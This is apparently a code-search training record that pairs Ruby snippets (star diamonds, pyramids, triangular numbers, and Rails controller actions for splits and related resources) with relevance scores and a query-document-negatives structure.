"def patron_cero(n)\n n.times do |i|\n n.times do |j|\n if i == 0 || i == n - 1 || j == 0 || j == n - 1 || i == j\n print \"*\"\n else\n print \" \"\n end\n end\n print \"\\n\"\n end\nend",
"def diamond(n)\n blanks = ' ' * ((n - 1) / 2)\n stars = '*'\n \n loop do\n puts blanks + stars\n break if blanks == ''\n stars << '**'\n blanks.slice!(0)\n end\n \n loop do\n break if stars == '*'\n stars.slice!(0..1)\n blanks << ' '\n puts blanks + stars\n end\n \nend",
"def pyramid(height)\n height.times do |n|\n print ' ' * (height - n)\n puts '#' * (2 * n + 1)\n end\n\nend",
"def print_stars(num, width)\n stars = '*' + '*' * (num - 1) * 2\n puts \"#{stars}\".center(width)\nend",
"def triangular_number(n)\n n * (n + 1) / 2 # You can also do reduce(:+) but this is way less calculations\nend",
"def tri(n)\n n*(n+1)/2\nend",
"def print_horizontal_pyramid(height)\ni=1\nk=height\nt=height\n\ni.upto(k) do\n t.times do\n print ' '\n end\n\n (2 * i - 1).times do\n print '*'\n end\n\n print \"\\n\"\n\n t -= 1\n i += 1\nend\nend",
"def climb_stairs(n)\n return 1 if n == 1\n return 2 if n == 2\n phi = (Math.sqrt(5) + 1)/2\n inverse_phi = (Math.sqrt(5) - 1)/2\n \n return ((phi ** (n + 1) - (inverse_phi ** n))/Math.sqrt(5)).round\nend",
"def towerBuilder(n)\n (0...n).map do |i|\n space = ' ' * (n - i)\n stars = '*' * (i * 2 + 1)\n space + stars + space\n end\nend",
"def diamond(n)\r\n return nil unless n.remainder(2) == 1\r\n diamonds = []\r\n\r\n counter = 1\r\n until counter > n\r\n spaces = (n - counter) / 2\r\n diamonds << ' ' * spaces + '*' * counter + \"\\n\"\r\n counter += 2\r\n end\r\n\r\n counter = n - 2\r\n until counter <= 0\r\n spaces = (n - counter) / 2\r\n diamonds << ' ' * spaces + '*' * counter + \"\\n\"\r\n counter -= 2\r\n end\r\n\r\n diamonds.join\r\nend",
"def diamond_alt(number)\n half = number / 2\n 1.upto(half) { |num| puts row(half, num) }\n (half + 1).downto(1) { |num| puts row(half, num) }\nend",
"def diamond(integer)\n spaces = (1..integer).step(2).to_a\n space_line = spaces.reverse\n spaces.shift\n space_line += spaces\n space_line.map! {|num| num / 2}\n\n stars = (1..integer).step(2).to_a\n star_line = stars.reverse\n star_line.shift\n star_line = stars + star_line\n\n counter = 0\n star_line.each do |element|\n line = (\"*\" * element)\n spaces = line.length + space_line[counter]\n full_line = line.rjust(spaces) + (\" \" * space_line[counter])\n puts full_line\n counter += 1\n end\nend",
"def diamond(size)\n stars = []\n 1.step(size, 2) { |count| stars << '*' * count }\n stars << stars.reverse[1..-1]\n\n size.times do |idx|\n puts \"#{stars.flatten[idx]}\".center(size)\n end\nend",
"def triangle_sum(n)\n (n * (n + 1))/2\nend",
"def pyramid\r\n upper_level = \"1\"\r\n triangle = [upper_level]\r\n 40.times do\r\n triangle << upper_level = lower_level(upper_level)\r\n end\r\n triangle\r\nend",
"def diamond(n, outline_only = false)\n raise \"Input lower than '1' (#{n}) not allowed.\" if n < 1\n raise \"Even input (#{n}) is not allowed.\" if n.even?\n \n diamond = []\n increasing = true\n count = 1\n\n n.times do\n diamond << \"*\" * count\n increasing = false if count >= n\n if increasing\n count += 2\n else\n count -= 2\n end\n break if count <= 0\n end\n\n diamond = outline(diamond) if outline_only\n\n diamond.each {|e| puts e.center(n)}\n puts\nend",
"def generate_triangle_number(n)\n triangle_number = 0\n i = n\n until i == 0 \n triangle_number += i\n i -= 1\n end\n evaluate_divisors(triangle_number)\nend",
"def diamond(n, style = :solid)\n top_half = top_half(n, style)\n center = if style == :solid || n == 1\n ['*' * n]\n elsif style == :hollow\n ['*' + ' ' * (n - 2) + '*']\n else\n return puts 'Invalid style. Please enter :solid or :hollow'\n end\n bottom_half = top_half.reverse\n diamond_array = top_half + center + bottom_half\n puts diamond_array\nend"
] |
[
"0.8119516",
"0.79531175",
"0.7895377",
"0.78844136",
"0.787584",
"0.78125906",
"0.7769238",
"0.7735018",
"0.75095046",
"0.75004435",
"0.7488488",
"0.74771017",
"0.7453717",
"0.74520373",
"0.74115497",
"0.73635685",
"0.73549837",
"0.7273766",
"0.72183466",
"0.72132975",
"0.7187516",
"0.7172417",
"0.7150617",
"0.712651",
"0.68960273",
"0.68605727",
"0.68523365",
"0.68409294",
"0.68299204",
"0.6821315",
"0.68208677",
"0.68025994",
"0.6782539",
"0.6772059",
"0.6754703",
"0.67438483",
"0.66990453",
"0.6657939",
"0.66399294",
"0.6637877",
"0.6634431",
"0.66336936",
"0.6620688",
"0.6614817",
"0.6583054",
"0.65724754",
"0.65698767",
"0.6502999",
"0.6492035",
"0.6465693",
"0.64604145",
"0.6460282",
"0.6430525",
"0.64289135",
"0.6424766",
"0.6415125",
"0.64150244",
"0.6401031",
"0.6367617",
"0.63585985",
"0.6333923",
"0.63255876",
"0.629734",
"0.62578833",
"0.6249554",
"0.62362725",
"0.62312835",
"0.62238485",
"0.62221944",
"0.6210653",
"0.62098444",
"0.6204747",
"0.61991996",
"0.6195982",
"0.6169905",
"0.61571664",
"0.6144243",
"0.6140449",
"0.6130096",
"0.61154985",
"0.6105937",
"0.6077031",
"0.60739154",
"0.606885",
"0.606607",
"0.6064255",
"0.6053998",
"0.604461",
"0.6041063",
"0.604035",
"0.60375947",
"0.6029056",
"0.6007662",
"0.5988051",
"0.59797925",
"0.59697086",
"0.5951785",
"0.59480655",
"0.5946822",
"0.5945874"
] |
0.66717935
|
37
|
GET /splits GET /splits.json
|
def index
@splits = Split.all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def stock_splits_with_http_info(symbol, from, to, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.stock_splits ...'\n end\n # verify the required parameter 'symbol' is set\n if @api_client.config.client_side_validation && symbol.nil?\n fail ArgumentError, \"Missing the required parameter 'symbol' when calling DefaultApi.stock_splits\"\n end\n # verify the required parameter 'from' is set\n if @api_client.config.client_side_validation && from.nil?\n fail ArgumentError, \"Missing the required parameter 'from' when calling DefaultApi.stock_splits\"\n end\n # verify the required parameter 'to' is set\n if @api_client.config.client_side_validation && to.nil?\n fail ArgumentError, \"Missing the required parameter 'to' when calling DefaultApi.stock_splits\"\n end\n # resource path\n local_var_path = '/stock/split'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'symbol'] = symbol\n query_params[:'from'] = from\n query_params[:'to'] = to\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Array<Split>' \n\n # auth_names\n auth_names = opts[:auth_names] || ['api_key']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#stock_splits\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @item_splits = ItemSplit.all\n end",
"def get_locations\n splits = SplitLocationFinder.splits(params).where.not(course_id: @event.course_id)\n render json: splits, each_serializer: SplitLocationSerializer\n end",
"def get_locations\n splits = SplitLocationFinder.splits(params).where.not(course_id: @event.course_id)\n render json: splits, each_serializer: SplitLocationSerializer\n end",
"def index\n @test_splits = TestSplit.all\n end",
"def index\n page_number = params[:page] ? params[:page][:number] : 1\n per_page = params[:per_page] ? params[:per_page] : 10\n\n @standings = Standing.paginate(page: page_number, per_page: per_page)\n\n render json: @standings\n end",
"def index\n @games_leaderboards = Games::Leaderboard.all\n\n render json: @games_leaderboards\n end",
"def index\n @pie_piece_transaction_splits = PiePieceTransactionSplit.all\n end",
"def get_splits(ticker, args = {})\n if args.is_a? Hash\n start_date = args[:start_date] if args[:start_date]\n start_date ||= args[:s] if args[:s]\n\n end_date = args[:end_date] if args[:end_date]\n end_date ||= args[:e] if args[:e]\n\n period = args[:period] if args[:period]\n period ||= args[:p] if args[:p]\n end\n\n csv = @yahoo_client.get_csv(ticker, start_date, end_date, period, 'splits')\n create_splits_from_csv(csv)\n end",
"def index\n @splitters = Splitter.all\n end",
"def get_splits\n @logical_splits\n end",
"def create\n @split = Split.new(split_params)\n\n respond_to do |format|\n if @split.save\n format.html { redirect_to @split, notice: 'Split was successfully created.' }\n format.json { render :show, status: :created, location: @split }\n else\n format.html { render :new }\n format.json { render json: @split.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_stages\n\t\trender :json=>{:success=>false, :msg=>'Missing race ID'} and return if (!params.has_key?(:id))\n\t\t\n\t\trace = Race.find_by_id(params[:id])\n\t\trender :json=>{:success=>false, :msg=>'Invalid race ID'} and return if (race.nil?)\n\t\t\n\t\tdata = []\n\t\tstages = Stage.where({:race_id=>race.id, :status=>STATUS[:ACTIVE]})\n\t\tstages.each do |stage|\n\t\t\tdata.push({\n\t\t\t\t:id => stage.id,\n\t\t\t\t:name => stage.name\n\t\t\t})\n\t\tend\n\t\t\n\t\trender :json=>{:success=>true, :data=>data}\n\tend",
"def index\n @bet_scores = @match.bet_scores\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bet_scores }\n end\n end",
"def show\n @split = Split.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @split }\n end\n end",
"def stock_splits(symbol, from, to, opts = {})\n data, _status_code, _headers = stock_splits_with_http_info(symbol, from, to, opts)\n data\n end",
"def lists_and_segments\n response = get \"listsandsegments\", {}\n Hashie::Mash.new(response)\n end",
"def update\n if @split.update(split_params)\n render json: @split\n else\n render json: @split.errors, status: :unprocessable_entity\n end\n end",
"def stats_request(modifier, season = nil)\n response = Faraday.get(\"#{URL}/#{id}/stats?stats=#{modifier}&season=#{season}\")\n JSON.parse(response.body)[\"stats\"][0][\"splits\"]\n end",
"def index\n @bucketlist_item = BucketlistItem.all\n # @bucketlist_item = @trip.bucketlist_item\n render json: @bucketlist_item\n end",
"def get_league_standings_by_league(league_id)\n response = parse_api_request(\"#{BASE_URL}standings/#{league_id}\")[\"standings\"]\nend",
"def index\n @runs = Run.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @runs }\n end\n end",
"def index\n @batches = @zone.batches\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @batches }\n end\n end",
"def index\n\t\t@runs = @current_user.runs\n\n\t\trender json: @runs\n\tend",
"def index\n #@parts = Part.find(:all, :order => 'part_number')\n\t@used_parts = UsedPart.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @used_parts }\n end\n end",
"def show\n render json: @games_leaderboard\n end",
"def fetch_balances\n\n SaasApi::OnBoarding::FetchBalances.new.perform(client_id: @client_id, balances_to_fetch: @balances_to_fetch)\n\n end",
"def index\n @batches = Batch.all\n respond_to do |format|\n format.html {}\n format.json {\n\n data = Hash.new\n data[\"batches\"] = @batches\n return_success_response(data, \"Request Successful\", 200)\n }\n end\n end",
"def show_rounds\n\t\t@rounds = @participant.rounds\n\t\trender json: @rounds\n\tend",
"def get_leaderboard\n\t\trender :json=>{:success=>false, :msg=>'Stage not specified.'} and return if (!params.has_key?(:id))\n\t\t\n\t\tstage = Stage.find_by_id(params[:id])\n\t\trender :json=>{:success=>false, :msg=>'Invalid stage.'} and return if (stage.nil?)\n\t\t\n\t\tleaderboard = LeaderboardModule::get_global_stage_leaderboard(params[:id], @scope)\n\t\t\n\t\trender :json=>{:leaderboard=>leaderboard, :stage=>{:name=>stage.name}} and return\n\tend",
"def index\n @strategies = Strategy.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @strategies }\n end\n end",
"def index\n # @checkpoints = Checkpoint.all\n @route = Route.find(params[:route_id])\n @checkpoints = @route.checkpoints\n # render json: {\n # checkpoints: @checkpoints.to_a\n # }\n end",
"def create\n @splitwise = Splitwise.new(splitwise_params)\n\n respond_to do |format|\n if @splitwise.save\n format.html { redirect_to @splitwise, notice: 'Splitwise was successfully created.' }\n format.json { render :show, status: :created, location: @splitwise }\n else\n format.html { render :new }\n format.json { render json: @splitwise.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @blocks = Block.all\n\n render json: @blocks\n end",
"def index\n json_response(@board.lists)\n end",
"def set_split\n @split = Split.find(params[:id])\n end",
"def index\n @winning_numbers = WinningNumber.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @winning_numbers }\n end\n end",
"def index\n\t\t@pipelines = Pipeline.all(include: :stages)\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render json: @pipelines }\n\t\tend\n\tend",
"def index\n streaks = Streak.active.all\n render_jsonapi(streaks)\n end",
"def index\n @plans = Plan.all\n\n render json: @plans\n end",
"def index\n @partners = Partner.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @partners }\n end\n end",
"def index\n @mini_games = MiniGame.all\n render json: @mini_games, status: :ok\n end",
"def set_split\n @split = Split.find(params[:id])\n end",
"def index\n respond_to do |format|\n format.json {\n user_leaderboard = []\n userid = params[:user_id]\n if userid\n # First, get the list of leaderboard values for current user\n current_user = User.find(userid)\n user_leaderboard << get_leaderboard_values_for_user(userid, current_user.fbid, current_user.fb_name, current_user.membertime)\n\n # Then, get leaderboard values for user's friends\n fbid_array = current_user.fb_friends\n if fbid_array.length > 0\n fbid_array = fbid_array.split(\"|\")\n friends_list = User.where(\"fbid in (?)\", fbid_array)\n\n friends_list.each do |friend|\n user_leaderboard << get_leaderboard_values_for_user(friend.id, friend.fbid, friend.fb_name, friend.membertime)\n end\n end\n\n log_event(:user_leaderboard, :get, user_leaderboard)\n render json: user_leaderboard.as_json\n else\n create_error(:unprocessable_entity, :get, \"\", \"Missing user\")\n end\n }\n end\n end",
"def index\n skickers = Skicker.order(power: :asc)\n render json: { status: 'SUCCESS', message: 'Loaded skickers', value: skickers }\n end",
"def index\n plan = Plan.find_by(url:params[:plan_id])\n stories = plan.stories\n render json: stories\n end",
"def index\n unless params[:requests] && params[:requests].is_a?(Array)\n render :json => {:error => \"Must pass an array of requests\"}, :status => :bad_request and return\n end\n\n if params[:requests].size > MAX_REQUESTS\n render :json => {:error => \"This batch API accepts a maximum of #{MAX_REQUESTS} requests\"}, :status => :bad_request and return\n end\n\n fetcher = Batchy::Fetcher.new(app: Rails.application, requests: params[:requests]).run\n render :json => {:succeeded => fetcher.succeeded, :failed => fetcher.failed, :responses => fetcher.responses}, :status => :ok\n end",
"def index\n @play_segments = PlaySegment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @play_segments }\n end\n end",
"def inventory_cages_split_post_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CagesApi.inventory_cages_split_post ...'\n end\n # resource path\n local_var_path = '/inventory/cages/split'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'cage_splits_inner'])\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'CageList')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CagesApi#inventory_cages_split_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @loadbalancers = getmydata(\"Loadbalancer\")\n pagination\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @loadbalancers }\n end\n end",
"def index\n @segment_names = SegmentName.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @segment_names }\n end\n end",
"def index\n @boxscores = @game.boxscores\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @boxscores }\n end\n end",
"def index\n @teams = Team.all\n render json: @teams\n end",
"def splits\n []\n end",
"def networks\n id = params[:_id]\n fetch_plans(id)\n networks = @networks_by_plan[id]\n network_list = networks.map do |entry|\n {\n value: entry.reference,\n name: entry.display\n }\n end\n render json: network_list\nend",
"def index\n \tif params[:for_timeline]\n\t\t\t@bills = Bill.where(:initiator_id.in => params[:politicians]).where(:complete =>true).limit(10)\n\t\telse\n\t \t@bills = Bill.all.limit(10)\n \tend\n\n respond_to do |format|\n format.json { render json: @bills.to_json(:include => {:initiator => {:only =>[:name]}}) }\n end\n\n end",
"def split_with_http_info(name, options = nil, format = nil, width = nil, height = nil, from = nil, to = nil, dest_folder = nil, password = nil, folder = nil, storage = nil, fonts_folder = nil)\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SlidesApi.split ...'\n end\n\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling SlidesApi.split\"\n end\n if @api_client.config.client_side_validation && format && !['Jpeg', 'Png', 'Gif', 'Bmp', 'Tiff', 'Html', 'Pdf', 'Xps', 'Pptx', 'Odp', 'Otp', 'Ppt', 'Pps', 'Ppsx', 'Pptm', 'Ppsm', 'Potx', 'Pot', 'Potm', 'Svg', 'Fodp', 'Xaml', 'Html5'].any?{ |s| s.casecmp(format)==0 }\n fail ArgumentError, \"Invalid value for parameter format: \" + format + \". Must be one of Jpeg, Png, Gif, Bmp, Tiff, Html, Pdf, Xps, Pptx, Odp, Otp, Ppt, Pps, Ppsx, Pptm, Ppsm, Potx, Pot, Potm, Svg, Fodp, Xaml, Html5\"\n end\n # resource path\n local_var_path = '/slides/{name}/split'\n local_var_path = @api_client.replace_path_parameter(local_var_path, 'name', name)\n\n # query parameters\n query_params = {}\n query_params[:'format'] = @api_client.prepare_for_query(format) unless format.nil?\n query_params[:'width'] = @api_client.prepare_for_query(width) unless width.nil?\n query_params[:'height'] = @api_client.prepare_for_query(height) unless height.nil?\n query_params[:'from'] = @api_client.prepare_for_query(from) unless from.nil?\n query_params[:'to'] = @api_client.prepare_for_query(to) unless to.nil?\n query_params[:'destFolder'] = @api_client.prepare_for_query(dest_folder) unless dest_folder.nil?\n query_params[:'folder'] = @api_client.prepare_for_query(folder) unless folder.nil?\n query_params[:'storage'] = @api_client.prepare_for_query(storage) unless storage.nil?\n query_params[:'fontsFolder'] = @api_client.prepare_for_query(fonts_folder) unless fonts_folder.nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n header_params[:'password'] = password unless password.nil?\n\n # http body (model)\n post_body = @api_client.object_to_http_body(options)\n\n # form parameters\n post_files = []\n\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :body => post_body,\n :files => post_files,\n :auth_names => auth_names,\n :return_type => 'SplitDocumentResult')\n return data, status_code, headers\n end",
"def index\n @requests = Request.all\n\n render json: @requests\n end",
"def leaderboards\n GameLeaderboard.leaderboards @short_name\n end",
"def get_segments\n return make_request(\"#{self.endpoint}/list/segments\")\n end",
"def index\n @scans = policy_scope(Scan)\n render json: @scans\n end",
"def index\n @draws = Draw.paginate(:page => params[:page], :per_page => 50)\n @winning_draws = Draw.where(:selection => \"WINNER\")\n @draw = Draw.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @draws }\n end\n end",
"def index\n @api_v1_metrics_dashboards_segments = Api::V1::MetricsDashboardsSegment.all\n end",
"def index\n @super_bowl_picks = SuperBowlPick.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @super_bowl_picks }\n end\n end",
"def index\n @batches = Batch.all\n @batches.each do |batch|\n authorize! :read, batch\n end\n render json: @batches\n end",
"def index\n @military_battle_rounds = Military::BattleRound.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @military_battle_rounds }\n end\n end",
"def split_params\n params.require(:split).permit(:availability_id, :user_id, :approved, :cancelled)\n end",
"def index\n @clubs = Club.all\n render json: @clubs\n end",
"def segments\n response = get 'segments'\n response.map{|item| Hashie::Mash.new(item)}\n end",
"def index\n @batches = Batch.page(params[:page]).per(15)\n @page = params[:page] || 1\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @batches }\n end\n end",
"def index\n @banks = Bank.all\n render json: @banks\n end",
"def index\n if params[:part_id]\n @materials = Material.find(:all, :conditions => [\"part_id = ?\", params[:part_id]])\n else\n @materials = Material.all\n end\n respond_to do |format|\n format.html\n format.json { render :json => @materials }\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @service_demand_breakdowns }\n end\n end",
"def create\n @item_split = ItemSplit.new(item_split_params)\n\n respond_to do |format|\n if @item_split.save\n format.html { redirect_to @item_split, notice: 'Item split was successfully created.' }\n format.json { render action: 'show', status: :created, location: @item_split }\n else\n format.html { render action: 'new' }\n format.json { render json: @item_split.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @split = Split.new(params[:split])\n\n respond_to do |format|\n if @split.save\n format.html { redirect_to(@split, :notice => 'Split was successfully created.') }\n format.xml { render :xml => @split, :status => :created, :location => @split }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @split.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n @teams = @club.teams\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @teams }\n end\n end",
"def index\n\t\t@clubs = Club.all\n\t\trender json: @clubs\n\tend",
"def index\n @teams = Team.all\n render :json => @teams\n end",
"def index\n game = Game.all\n\n render json: game, include: :teams\n end",
"def index\n @divisions = Division.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @divisions }\n end\n end",
"def show\n @leaderboard = Leaderboard.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @leaderboard }\n end\n end",
"def show\n @slab = Slab.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @slab }\n end\n end",
"def index\n @leagues = League.all\n render json: @leagues, status: :ok\n end",
"def index\r\n set_data_from_param\r\n @page_info = resources_with_pagination(@boards)\r\n render formats: :json\r\n end",
"def index\n @crawl_requests = CrawlRequest.all\n \n render json: @crawl_requests\n end",
"def show\n @job = Job.find(params[:job_id])\n @part = @job.parts.find(params[:id])\n\n respond_to do |format|\n format.html\n format.json {render json: @part}\n end\n end",
"def index\n #@part_names = PartName.find(:all, :order => 'name')\n\t@part_names = PartName.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @part_names }\n end\n end",
"def handle_get\n make_response(200, obtain_scores)\nend",
"def index\n @boards = Board.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @boards }\n end\n end",
"def index\n @boards = Board.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @boards }\n end\n end",
"def index\n @work_merge_lists = WorkMergeList.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @work_merge_lists }\n end\n end",
"def index\n @slams = Slam.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @slams }\n end\n end",
"def index\n @plan_milestones = PlanMilestone.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @plan_milestones }\n end\n end",
"def index\n @subsedes = Subsede.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @subsedes }\n end\n end",
"def index\n workouts = @ws.workouts\n render json: workouts\n end",
"def show\n @student_cell_leader = StudentCellLeader.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student_cell_leader }\n end\n end",
"def index\n @parts = Part.where(job_id: params[:job_id])\n @job_id = params[:job_id]\n end",
"def set_test_split\n @test_split = TestSplit.find(params[:id])\n end",
"def scubooks\n sections = Section.all\n render json: sections\n end",
"def index\n @sightings = Sighting.all\n render json: @sightings\n end"
] |
[
"0.6231144",
"0.60699904",
"0.6005092",
"0.6005092",
"0.5919354",
"0.5505157",
"0.542354",
"0.5385456",
"0.5378271",
"0.529883",
"0.52949107",
"0.5273118",
"0.52076787",
"0.520723",
"0.52013344",
"0.5185526",
"0.51850635",
"0.51794523",
"0.51708585",
"0.5166124",
"0.51606214",
"0.51233894",
"0.5104693",
"0.51018673",
"0.5090531",
"0.5081052",
"0.50786597",
"0.50601876",
"0.50521296",
"0.50515026",
"0.5029043",
"0.5027011",
"0.5003142",
"0.49927554",
"0.49882427",
"0.4986947",
"0.49573094",
"0.49544704",
"0.49499106",
"0.4936753",
"0.49344698",
"0.49309856",
"0.49153543",
"0.49112868",
"0.4905642",
"0.48927346",
"0.48909315",
"0.4881819",
"0.48813552",
"0.48791036",
"0.48790574",
"0.4878044",
"0.48740324",
"0.48673475",
"0.48661357",
"0.4863863",
"0.48566872",
"0.48542005",
"0.48456344",
"0.48447993",
"0.48353618",
"0.48351902",
"0.48202804",
"0.48143005",
"0.48140323",
"0.48139885",
"0.48069683",
"0.48067746",
"0.48066133",
"0.48061922",
"0.4803511",
"0.4797342",
"0.47958177",
"0.47901636",
"0.47857037",
"0.47698474",
"0.47696808",
"0.47692782",
"0.47665617",
"0.47618717",
"0.4760257",
"0.47551158",
"0.4747538",
"0.47458667",
"0.47457913",
"0.47450835",
"0.47376752",
"0.4735797",
"0.47336593",
"0.47336593",
"0.47182745",
"0.47020596",
"0.4699752",
"0.46985656",
"0.46944138",
"0.4687676",
"0.46866277",
"0.46860796",
"0.4683655",
"0.46822938"
] |
0.65537053
|
0
|
GET /splits/1 GET /splits/1.json
|
def show
@credits = (@split.availability.end_time.to_i - @split.availability.start_time.to_i)/3600
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @splits = Split.all\n end",
"def stock_splits_with_http_info(symbol, from, to, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.stock_splits ...'\n end\n # verify the required parameter 'symbol' is set\n if @api_client.config.client_side_validation && symbol.nil?\n fail ArgumentError, \"Missing the required parameter 'symbol' when calling DefaultApi.stock_splits\"\n end\n # verify the required parameter 'from' is set\n if @api_client.config.client_side_validation && from.nil?\n fail ArgumentError, \"Missing the required parameter 'from' when calling DefaultApi.stock_splits\"\n end\n # verify the required parameter 'to' is set\n if @api_client.config.client_side_validation && to.nil?\n fail ArgumentError, \"Missing the required parameter 'to' when calling DefaultApi.stock_splits\"\n end\n # resource path\n local_var_path = '/stock/split'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'symbol'] = symbol\n query_params[:'from'] = from\n query_params[:'to'] = to\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Array<Split>' \n\n # auth_names\n auth_names = opts[:auth_names] || ['api_key']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#stock_splits\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @item_splits = ItemSplit.all\n end",
"def index\n @test_splits = TestSplit.all\n end",
"def get_locations\n splits = SplitLocationFinder.splits(params).where.not(course_id: @event.course_id)\n render json: splits, each_serializer: SplitLocationSerializer\n end",
"def get_locations\n splits = SplitLocationFinder.splits(params).where.not(course_id: @event.course_id)\n render json: splits, each_serializer: SplitLocationSerializer\n end",
"def show\n @split = Split.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @split }\n end\n end",
"def index\n @runs = Run.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @runs }\n end\n end",
"def index\n # @checkpoints = Checkpoint.all\n @route = Route.find(params[:route_id])\n @checkpoints = @route.checkpoints\n # render json: {\n # checkpoints: @checkpoints.to_a\n # }\n end",
"def show\n @slab = Slab.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @slab }\n end\n end",
"def create\n @split = Split.new(split_params)\n\n respond_to do |format|\n if @split.save\n format.html { redirect_to @split, notice: 'Split was successfully created.' }\n format.json { render :show, status: :created, location: @split }\n else\n format.html { render :new }\n format.json { render json: @split.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @bucketlist_item = BucketlistItem.all\n # @bucketlist_item = @trip.bucketlist_item\n render json: @bucketlist_item\n end",
"def index\n @batches = @zone.batches\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @batches }\n end\n end",
"def index\n @games_leaderboards = Games::Leaderboard.all\n\n render json: @games_leaderboards\n end",
"def show\n @job = Job.find(params[:job_id])\n @part = @job.parts.find(params[:id])\n\n respond_to do |format|\n format.html\n format.json {render json: @part}\n end\n end",
